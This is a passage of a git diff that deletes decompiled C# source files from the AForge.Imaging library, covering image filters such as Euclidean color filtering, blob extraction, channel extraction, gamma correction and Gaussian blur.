RGB(0, 0, 0); - - private bool fillOutside = true; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Radius - { - get - { - return radius; - } - set - { - radius = System.Math.Max((short)0, System.Math.Min((short)450, value)); - } - } - - public RGB CenterColor - { - get - { - return center; - } - set - { - center = value; - } - } - - public RGB FillColor - { - get - { - return fill; - } - set - { - fill = value; - } - } - - public bool FillOutside - { - get - { - return fillOutside; - } - set - { - fillOutside = value; - } - } - - public EuclideanColorFiltering() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)139273] = (PixelFormat)139273; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)2498570; - } - - public EuclideanColorFiltering(RGB center, short radius) - : this() - { - this.center = center; - this.radius = radius; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 137224) ? 3 : 4); - int left = rect.Left; - int top = rect.Top; - int num2 = left + rect.Width; - int num3 = top + rect.Height; - int num4 = image.Stride - rect.Width * num; - int num5 = radius * radius; - int red = center.Red; - int green = center.Green; - int blue = center.Blue; - byte red2 = fill.Red; - byte green2 = fill.Green; - byte blue2 = fill.Blue; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + left * num; - for (int i = top; i < num3; i++) - { - int num6 = left; - while (num6 < num2) - { - int num7 = red - ptr[2]; - int num8 = green - ptr[1]; - int num9 = blue - *ptr; - if (num7 * num7 + num8 * num8 + num9 * num9 <= num5) - { - if (!fillOutside) - { - ptr[2] = red2; - ptr[1] = green2; - *ptr = blue2; - } - } - else if (fillOutside) - { - ptr[2] = red2; - ptr[1] = green2; - *ptr = blue2; - } - num6++; - ptr += num; - } - ptr += num4; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractBiggestBlob.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractBiggestBlob.cs deleted file mode 100644 index c80e49e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractBiggestBlob.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ExtractBiggestBlob : IFilter, IFilterInformation -{ - private Bitmap originalImage; - - private IntPoint blobPosition; - - public IntPoint BlobPosition => blobPosition; - - public Dictionary FormatTranslations - { - get - { - //IL_006c: Unknown result type (might be due to invalid IL or missing references) - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0098: Unknown result type (might be due to invalid IL or missing references) - //IL_00ae: Unknown result type (might be due to invalid IL or missing references) - //IL_00c4: Unknown result type (might be due to invalid IL or missing references) - Dictionary dictionary = new Dictionary(); - if (originalImage == null) - { - dictionary[(PixelFormat)198659] = (PixelFormat)198659; - dictionary[(PixelFormat)137224] = (PixelFormat)137224; - dictionary[(PixelFormat)2498570] = (PixelFormat)2498570; - dictionary[(PixelFormat)139273] = (PixelFormat)139273; - dictionary[(PixelFormat)925707] = (PixelFormat)925707; - } - else - { - dictionary[(PixelFormat)198659] = ((Image)originalImage).PixelFormat; - dictionary[(PixelFormat)137224] = ((Image)originalImage).PixelFormat; - dictionary[(PixelFormat)2498570] = ((Image)originalImage).PixelFormat; - dictionary[(PixelFormat)139273] = ((Image)originalImage).PixelFormat; - dictionary[(PixelFormat)925707] = ((Image)originalImage).PixelFormat; - } - return dictionary; - } - } - - public Bitmap OriginalImage - { - get - { - return originalImage; - } - set - { - originalImage = value; - } - } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap val2 = null; - try - { - return Apply(val); - } - finally - { - image.UnlockBits(val); - } - } - - public Bitmap Apply(BitmapData imageData) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_00d2: Unknown result type (might be due to invalid IL or missing references) - //IL_00dc: Invalid comparison between Unknown and I4 - //IL_00e4: Unknown result type (might be due to invalid IL or missing references) - //IL_00ee: Invalid comparison between Unknown and I4 - //IL_00f6: Unknown result type (might be due to invalid IL or missing references) - //IL_0100: Invalid comparison between Unknown and I4 - //IL_0108: Unknown result type (might be due to invalid IL or missing references) - //IL_0112: Invalid comparison between Unknown and I4 - //IL_011a: Unknown result type (might be due to invalid IL or missing references) - //IL_0124: Invalid comparison between Unknown and I4 - if (!FormatTranslations.ContainsKey(imageData.PixelFormat)) - { - throw new UnsupportedImageFormatException("Source pixel format is not supported by the filter."); - } - BlobCounter blobCounter = new BlobCounter(imageData); - Blob[] objectsInformation = blobCounter.GetObjectsInformation(); - int num = 0; - Blob blob = null; - int i = 0; - for (int num2 = objectsInformation.Length; i < num2; i++) - { - int num3 = objectsInformation[i].Rectangle.Width * objectsInformation[i].Rectangle.Height; - if (num3 > num) - { - num = num3; - blob = objectsInformation[i]; - } - } - if (blob == null) - { - throw new ArgumentException("The source image does not contain any blobs."); - } - blobPosition = new IntPoint(blob.Rectangle.Left, blob.Rectangle.Top); - if (originalImage == null) - { - blobCounter.ExtractBlobsImage(new UnmanagedImage(imageData), blob, extractInOriginalSize: false); - } - else - { - if ((int)((Image)originalImage).PixelFormat != 137224 && (int)((Image)originalImage).PixelFormat != 2498570 && (int)((Image)originalImage).PixelFormat != 139273 && (int)((Image)originalImage).PixelFormat != 925707 && (int)((Image)originalImage).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Original image may be grayscale (8bpp indexed) or color (24/32bpp) image only."); - } - if (((Image)originalImage).Width != imageData.Width || ((Image)originalImage).Height != imageData.Height) - { - throw new InvalidImagePropertiesException("Original image must have the same size as passed source image."); - } - blobCounter.ExtractBlobsImage(originalImage, blob, extractInOriginalSize: false); - } - Bitmap result = blob.Image.ToManagedImage(); - blob.Image.Dispose(); - return result; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - throw new NotImplementedException("The method is not implemented for the filter."); - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - throw new NotImplementedException("The method is not implemented filter."); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractChannel.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractChannel.cs deleted file mode 100644 index 3424622..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractChannel.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ExtractChannel : BaseFilter -{ - private short channel = 2; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Channel - { - get - { - return channel; - } - set - { - if (value != 2 && value != 1 && value != 0 && value != 3) - { - throw new ArgumentException("Invalid channel is specified."); - } - channel = value; - } - } - - public ExtractChannel() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)1052676; - } - - public ExtractChannel(short channel) - : this() - { - Channel = channel; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - if (channel == 3 && num != 4 && num != 8) - { - throw new InvalidImagePropertiesException("Can not extract alpha channel from none ARGB image."); - } - if (num <= 4) - { - int num2 = sourceData.Stride - width * num; - int num3 = destinationData.Stride - width; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += channel; - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - *ptr2 = *ptr; - num4++; - ptr += num; - ptr2++; - } - ptr += num2; - ptr2 += num3; - } - return; - } - num /= 2; - byte* ptr3 = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr4 = (byte*)destinationData.ImageData.ToPointer(); - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - ptr5 += channel; - int num5 = 0; - while (num5 < width) - { - *ptr6 = *ptr5; - num5++; - ptr5 += num; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractNormalizedRGBChannel.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractNormalizedRGBChannel.cs deleted file mode 100644 index 7ecaf67..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ExtractNormalizedRGBChannel.cs +++ /dev/null @@ -1,95 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class ExtractNormalizedRGBChannel : BaseFilter -{ - private short channel = 2; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public short Channel - { - get - { - return channel; - } - set - { - if (value != 2 && value != 1 && value != 0) - { - throw new ArgumentException("Invalid channel is specified."); - } - channel = value; - } - } - - public ExtractNormalizedRGBChannel() - { - formatTranslations[(PixelFormat)137224] = (PixelFormat)198659; - formatTranslations[(PixelFormat)139273] = (PixelFormat)198659; - formatTranslations[(PixelFormat)2498570] = (PixelFormat)198659; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)3424269] = (PixelFormat)1052676; - } - - public ExtractNormalizedRGBChannel(short channel) - : this() - { - Channel = channel; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData) - { - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - int width = sourceData.Width; - int height = sourceData.Height; - int num = Image.GetPixelFormatSize(sourceData.PixelFormat) / 8; - if (num <= 4) - { - int num2 = sourceData.Stride - width * num; - int num3 = destinationData.Stride - width; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - for (int i = 0; i < height; i++) - { - int num4 = 0; - while (num4 < width) - { - int num5 = ptr[2] + ptr[1] + *ptr; - *ptr2 = (byte)((num5 != 0) ? ((byte)(255 * ptr[channel] / num5)) : 0); - num4++; - ptr += num; - ptr2++; - } - ptr += num2; - ptr2 += num3; - } - return; - } - num /= 2; - byte* ptr3 = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr4 = (byte*)destinationData.ImageData.ToPointer(); - int stride = sourceData.Stride; - int stride2 = destinationData.Stride; - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num6 = 0; - while (num6 < width) - { - int num5 = ptr5[2] + ptr5[1] + *ptr5; - *ptr6 = (ushort)((num5 != 0) ? ((ushort)(65535 * ptr5[channel] / num5)) : 0); - num6++; - ptr5 += num; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FillHoles.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FillHoles.cs deleted file mode 100644 index c73df55..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FillHoles.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class FillHoles : BaseInPlaceFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - private bool coupledSizeFiltering = true; - - private int maxHoleWidth = int.MaxValue; - - private int maxHoleHeight = int.MaxValue; - - public bool CoupledSizeFiltering - { - get - { - return coupledSizeFiltering; - } - set - { - coupledSizeFiltering = value; - } - } - - public int MaxHoleWidth - { - get - { - return maxHoleWidth; - } - set - { - maxHoleWidth = System.Math.Max(value, 0); - } - } - - public int MaxHoleHeight - { - get - { - return maxHoleHeight; - } - set - { - maxHoleHeight = System.Math.Max(value, 0); - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public FillHoles() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - int width = image.Width; - int height = image.Height; - Invert invert = new Invert(); - UnmanagedImage image2 = invert.Apply(image); - BlobCounter blobCounter = new BlobCounter(); - blobCounter.ProcessImage(image2); - Blob[] objectsInformation = blobCounter.GetObjectsInformation(); - byte[] array = new byte[objectsInformation.Length + 1]; - array[0] = byte.MaxValue; - int i = 0; - for (int num = objectsInformation.Length; i < num; i++) - { - Blob blob = objectsInformation[i]; - if (blob.Rectangle.Left == 0 || blob.Rectangle.Top == 0 || blob.Rectangle.Right == width || blob.Rectangle.Bottom == height) - { - array[blob.ID] = 0; - } - else if ((coupledSizeFiltering && blob.Rectangle.Width <= maxHoleWidth && blob.Rectangle.Height <= maxHoleHeight) | (!coupledSizeFiltering && (blob.Rectangle.Width <= maxHoleWidth || blob.Rectangle.Height <= maxHoleHeight))) - { - array[blob.ID] = byte.MaxValue; - } - else - { - array[blob.ID] = 0; - } - } - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num2 = image.Stride - width; - int[] objectLabels = blobCounter.ObjectLabels; - int j = 0; - int num3 = 0; - for (; j < height; j++) - { - int num4 = 0; - while (num4 < width) - { - *ptr = array[objectLabels[num3]]; - num4++; - num3++; - ptr++; - } - ptr += num2; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FilterIterator.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FilterIterator.cs deleted file mode 100644 index 2929548..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FilterIterator.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class FilterIterator : IFilter, IFilterInformation -{ - private IFilter baseFilter; - - private int iterations = 1; - - public Dictionary FormatTranslations => ((IFilterInformation)baseFilter).FormatTranslations; - - public IFilter BaseFilter - { - get - { - return baseFilter; - } - set - { - baseFilter = value; - } - } - - public int Iterations - { - get - { - return iterations; - } - set - { - iterations = System.Math.Max(1, System.Math.Min(255, value)); - } - } - - public FilterIterator(IFilter baseFilter) - { - this.baseFilter = baseFilter; - } - - public FilterIterator(IFilter baseFilter, int iterations) - { - this.baseFilter = baseFilter; - this.iterations = iterations; - } - - public Bitmap Apply(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - Bitmap result = Apply(val); - image.UnlockBits(val); - return result; - } - - public Bitmap Apply(BitmapData imageData) - { - Bitmap val = baseFilter.Apply(imageData); - for (int i = 1; i < iterations; i++) - { - Bitmap val2 = val; - val = baseFilter.Apply(val2); - ((Image)val2).Dispose(); - } - return val; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - UnmanagedImage unmanagedImage = baseFilter.Apply(image); - for (int i = 1; i < iterations; i++) - { - UnmanagedImage unmanagedImage2 = unmanagedImage; - unmanagedImage = baseFilter.Apply(unmanagedImage2); - unmanagedImage2.Dispose(); - } - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - if (iterations == 1) - { - baseFilter.Apply(sourceImage, destinationImage); - return; - } - UnmanagedImage unmanagedImage = baseFilter.Apply(sourceImage); - iterations--; - for (int i = 1; i < iterations; i++) - { - UnmanagedImage unmanagedImage2 = unmanagedImage; - unmanagedImage = baseFilter.Apply(unmanagedImage2); - unmanagedImage2.Dispose(); - } - baseFilter.Apply(unmanagedImage, destinationImage); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FiltersSequence.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FiltersSequence.cs deleted file mode 100644 index 28559d3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FiltersSequence.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using System.Collections; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class FiltersSequence : CollectionBase, IFilter -{ - public IFilter this[int index] => (IFilter)base.InnerList[index]; - - public FiltersSequence() - { - } - - public FiltersSequence(params IFilter[] filters) - { - base.InnerList.AddRange(filters); - } - - public void Add(IFilter filter) - { - base.InnerList.Add(filter); - } - - public Bitmap Apply(Bitmap image) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - Bitmap val = null; - BitmapData val2 = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return Apply(val2); - } - finally - { - image.UnlockBits(val2); - } - } - - public Bitmap Apply(BitmapData imageData) - { - UnmanagedImage unmanagedImage = Apply(new UnmanagedImage(imageData)); - Bitmap result = unmanagedImage.ToManagedImage(); - unmanagedImage.Dispose(); - return result; - } - - public UnmanagedImage Apply(UnmanagedImage image) - { - int count = base.InnerList.Count; - if (count == 0) - { - throw new ApplicationException("No filters in the sequence."); - } - UnmanagedImage unmanagedImage = null; - UnmanagedImage unmanagedImage2 = null; - unmanagedImage = ((IFilter)base.InnerList[0]).Apply(image); - for (int i = 1; i < count; i++) - { - unmanagedImage2 = unmanagedImage; - unmanagedImage = ((IFilter)base.InnerList[i]).Apply(unmanagedImage2); - unmanagedImage2.Dispose(); - } - return unmanagedImage; - } - - public void Apply(UnmanagedImage sourceImage, UnmanagedImage destinationImage) - { - int count = base.InnerList.Count; - switch (count) - { - case 0: - throw new ApplicationException("No filters in the sequence."); - case 1: - ((IFilter)base.InnerList[0]).Apply(sourceImage, destinationImage); - return; - } - UnmanagedImage unmanagedImage = null; - UnmanagedImage unmanagedImage2 = null; - unmanagedImage = ((IFilter)base.InnerList[0]).Apply(sourceImage); - count--; - for (int i = 1; i < count; i++) - { - unmanagedImage2 = unmanagedImage; - unmanagedImage = ((IFilter)base.InnerList[i]).Apply(unmanagedImage2); - unmanagedImage2.Dispose(); - } - ((IFilter)base.InnerList[count]).Apply(unmanagedImage, destinationImage); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FlatFieldCorrection.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FlatFieldCorrection.cs deleted file mode 100644 index 6044cfd..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FlatFieldCorrection.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class FlatFieldCorrection : BaseInPlaceFilter -{ - private Bitmap backgroundImage; - - private UnmanagedImage unmanagedBackgroundImage; - - private Dictionary formatTranslations = new Dictionary(); - - public Bitmap BackgoundImage - { - get - { - return backgroundImage; - } - set - { - backgroundImage = value; - if (value != null) - { - unmanagedBackgroundImage = null; - } - } - } - - public UnmanagedImage UnmanagedBackgoundImage - { - get - { - return unmanagedBackgroundImage; - } - set - { - unmanagedBackgroundImage = value; - if (value != null) - { - backgroundImage = null; - } - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - public FlatFieldCorrection() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - public FlatFieldCorrection(Bitmap backgroundImage) - : this() - { - this.backgroundImage = backgroundImage; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image) - { - //IL_0019: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Invalid comparison between Unknown and I4 - //IL_0158: Unknown result type (might be due to invalid IL or missing references) - //IL_0162: Invalid comparison between Unknown and I4 - //IL_00df: Unknown result type (might be due to invalid IL or missing references) - //IL_00ea: Unknown result type (might be due to invalid IL or missing references) - //IL_0112: Unknown result type (might be due to invalid IL or missing references) - UnmanagedImage unmanagedImage = null; - BitmapData val = null; - int width = image.Width; - int height = image.Height; - int num = image.Stride - (((int)image.PixelFormat == 198659) ? width : (width * 3)); - if (backgroundImage == null && unmanagedBackgroundImage == null) - { - ResizeBicubic resizeBicubic = new ResizeBicubic(width / 3, height / 3); - UnmanagedImage unmanagedImage2 = resizeBicubic.Apply(image); - GaussianBlur gaussianBlur = new GaussianBlur(5.0, 21); - gaussianBlur.ApplyInPlace(unmanagedImage2); - gaussianBlur.ApplyInPlace(unmanagedImage2); - gaussianBlur.ApplyInPlace(unmanagedImage2); - gaussianBlur.ApplyInPlace(unmanagedImage2); - gaussianBlur.ApplyInPlace(unmanagedImage2); - resizeBicubic.NewWidth = width; - resizeBicubic.NewHeight = height; - unmanagedImage = resizeBicubic.Apply(unmanagedImage2); - unmanagedImage2.Dispose(); - } - else if (backgroundImage != null) - { - if (width != ((Image)backgroundImage).Width || height != ((Image)backgroundImage).Height || image.PixelFormat != ((Image)backgroundImage).PixelFormat) - { - throw new InvalidImagePropertiesException("Source image and background images must have the same size and pixel format"); - } - val = backgroundImage.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)1, ((Image)backgroundImage).PixelFormat); - unmanagedImage = new UnmanagedImage(val); - } - else - { - unmanagedImage = unmanagedBackgroundImage; - } - ImageStatistics imageStatistics = new ImageStatistics(unmanagedImage); - byte* ptr = (byte*)image.ImageData.ToPointer(); - byte* ptr2 = (byte*)unmanagedImage.ImageData.ToPointer(); - if ((int)image.PixelFormat == 198659) - { - double mean = imageStatistics.Gray.Mean; - for (int i = 0; i < height; i++) - { - int num2 = 0; - while (num2 < width) - { - if (*ptr2 != 0) - { - *ptr = (byte)System.Math.Min(mean * (double)(int)(*ptr) / (double)(int)(*ptr2), 255.0); - } - num2++; - ptr++; - ptr2++; - } - ptr += num; - ptr2 += num; - } - } - else - { - double mean2 = imageStatistics.Red.Mean; - double mean3 = imageStatistics.Green.Mean; - double mean4 = imageStatistics.Blue.Mean; - for (int j = 0; j < height; j++) - { - int num3 = 0; - while (num3 < width) - { - if (ptr2[2] != 0) - { - ptr[2] = (byte)System.Math.Min(mean2 * (double)(int)ptr[2] / (double)(int)ptr2[2], 255.0); - } - if (ptr2[1] != 0) - { - ptr[1] = (byte)System.Math.Min(mean3 * (double)(int)ptr[1] / (double)(int)ptr2[1], 255.0); - } - if (*ptr2 != 0) - { - *ptr = (byte)System.Math.Min(mean4 * (double)(int)(*ptr) / (double)(int)(*ptr2), 255.0); - } - num3++; - ptr += 3; - ptr2 += 3; - } - ptr += num; - ptr2 += num; - } - } - if (backgroundImage != null) - { - backgroundImage.UnlockBits(val); - } - if (backgroundImage == null && unmanagedBackgroundImage == null) - { - unmanagedImage.Dispose(); - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FloydSteinbergDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FloydSteinbergDithering.cs deleted file mode 100644 index 256e2d8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/FloydSteinbergDithering.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class FloydSteinbergDithering : ErrorDiffusionToAdjacentNeighbors -{ - public FloydSteinbergDithering() - : base(new int[2][] - { - new int[1] { 7 }, - new int[3] { 3, 5, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GammaCorrection.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GammaCorrection.cs deleted file mode 100644 index 708b1a4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GammaCorrection.cs +++ /dev/null @@ -1,71 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class GammaCorrection : BaseInPlacePartialFilter -{ - private double gamma; - - private byte[] table = new byte[256]; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public double Gamma - { - get - { - return gamma; - } - set - { - gamma = System.Math.Max(0.1, System.Math.Min(5.0, value)); - double y = 1.0 / gamma; - for (int i = 0; i < 256; i++) - { - table[i] = (byte)System.Math.Min(255, (int)(System.Math.Pow((double)i / 255.0, y) * 255.0 + 0.5)); - } - } - } - - public GammaCorrection() - : this(2.2) - { - } - - public GammaCorrection(double gamma) - { - Gamma = gamma; - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - } - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - int num = (((int)image.PixelFormat == 198659) ? 1 : 3); - int num2 = rect.Left * num; - int top = rect.Top; - int num3 = num2 + rect.Width * num; - int num4 = top + rect.Height; - int num5 = image.Stride - rect.Width * num; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += top * image.Stride + num2; - for (int i = top; i < num4; i++) - { - int num6 = num2; - while (num6 < num3) - { - *ptr = table[*ptr]; - num6++; - ptr++; - } - ptr += num5; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianBlur.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianBlur.cs deleted file mode 100644 index 1af997c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianBlur.cs +++ /dev/null @@ -1,80 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Filters; - -public sealed class GaussianBlur : Convolution -{ - private double sigma = 1.4; - - private int size = 5; - - public double Sigma - { - get - { - return sigma; - } - set - { - sigma = System.Math.Max(0.5, System.Math.Min(5.0, value)); - CreateFilter(); - } - } - - public int Size - { - get - { - return size; - } - set - { - size = System.Math.Max(3, System.Math.Min(21, value | 1)); - CreateFilter(); - } - } - - public GaussianBlur() - { - CreateFilter(); - base.ProcessAlpha = true; - } - - public GaussianBlur(double sigma) - { - Sigma = sigma; - base.ProcessAlpha = true; - } - - public GaussianBlur(double sigma, int size) - { - Sigma = sigma; - Size = size; - base.ProcessAlpha = true; - } - - private void CreateFilter() - { - Gaussian gaussian = new Gaussian(sigma); - double[,] array = gaussian.Kernel2D(size); - double num = array[0, 0]; - int[,] array2 = new int[size, size]; - int num2 = 0; - for (int i = 0; i < size; i++) - { - for (int j = 0; j < size; j++) - { - double num3 = array[i, j] / num; - if (num3 > 65535.0) - { - num3 = 65535.0; - } - array2[i, j] = (int)num3; - num2 += array2[i, j]; - } - } - base.Kernel = array2; - base.Divisor = num2; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianSharpen.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianSharpen.cs deleted file mode 100644 index c27a126..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/GaussianSharpen.cs +++ /dev/null @@ -1,94 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Filters; - -public class GaussianSharpen : Convolution -{ - private double sigma = 1.4; - - private int size = 5; - - public double Sigma - { - get - { - return sigma; - } - set - { - sigma = System.Math.Max(0.5, System.Math.Min(5.0, value)); - CreateFilter(); - } - } - - public int Size - { - get - { - return size; - } - set - { - size = System.Math.Max(3, System.Math.Min(21, value | 1)); - CreateFilter(); - } - } - - public GaussianSharpen() - { - CreateFilter(); - } - - public GaussianSharpen(double sigma) - { - Sigma = sigma; - } - - public GaussianSharpen(double sigma, int size) - { - Sigma = sigma; - Size = size; - } - - private void CreateFilter() - { - Gaussian gaussian = new Gaussian(sigma); - double[,] array = gaussian.Kernel2D(size); - double num = array[0, 0]; - int[,] array2 = new int[size, size]; - int num2 = 0; - int num3 = 0; - for (int i = 0; i < size; i++) - { - for (int j = 0; j < size; j++) - { - double num4 = array[i, j] / num; - if (num4 > 65535.0) - { - num4 = 65535.0; - } - array2[i, j] = (int)num4; - num2 += array2[i, j]; - } - } - int num5 = size >> 1; - for (int k = 0; k < size; k++) - { - for (int l = 0; l < size; l++) - { - if (k == num5 && l == num5) - { - array2[k, l] = 2 * num2 - array2[k, l]; - } - else - { - array2[k, l] = -array2[k, l]; - } - num3 += array2[k, l]; - } - } - base.Kernel = array2; - base.Divisor = num3; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Grayscale.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Grayscale.cs deleted file mode 100644 index dab3923..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Grayscale.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System.Collections.Generic; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Grayscale : BaseFilter -{ - public static class CommonAlgorithms - { - public static readonly Grayscale BT709 = new Grayscale(0.2125, 0.7154, 0.0721); - - public static readonly Grayscale RMY = new Grayscale(0.5, 0.419, 0.081); - - public static readonly Grayscale Y = new Grayscale(0.299, 0.587, 0.114); - } - - public readonly double RedCoefficient; - - public readonly double GreenCoefficient; - - public readonly double 